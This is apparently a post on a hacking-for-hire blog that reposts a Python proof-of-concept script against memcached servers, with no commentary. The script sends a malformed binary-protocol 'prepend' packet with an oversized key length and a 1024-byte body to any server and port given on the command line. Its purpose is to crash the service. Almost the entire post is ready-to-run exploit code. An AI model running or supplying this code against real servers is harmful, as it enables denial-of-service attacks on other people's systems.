Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86373192

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Source: http://paper.seebug.org/95/

import struct  
import socket  
import sys

MEMCACHED_REQUEST_MAGIC = "\x80"  
OPCODE_PREPEND_Q = "\x1a"  
key_len = struct.pack("!H",0xfa)  
extra_len = "\x00"  
data_type = "\x00"  
vbucket = "\x00\x00"  
body_len = struct.pack("!I",0)  
opaque = struct.pack("!I",0)  
CAS = struct.pack("!Q",0)  
body = "A"*1024

if len(sys.argv) != 3:  
        print "./poc_crash.py <server> <port>"

packet = MEMCACHED_REQUEST_MAGIC + OPCODE_PREPEND_Q + key_len + extra_len  
packet += data_type + vbucket + body_len + opaque + CAS  
packet += body

set_packet = "set testkey 0 60 4\r\ntest\r\n"  
get_packet = "get testkey\r\n"

s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s1.connect((sys.argv[1],int(sys.argv[2])))  
s1.sendall(set_packet)  
print s1.recv(1024)  
s1.close()


s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s2.connect((sys.argv[1],int(sys.argv[2])))  
s2.sendall(packet)  
print s2.recv(1024)  
s2.close()

s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s3.connect((sys.argv[1],int(sys.argv[2])))  
s3.sendall(get_packet)  
s3.recv(1024)  
s3.close()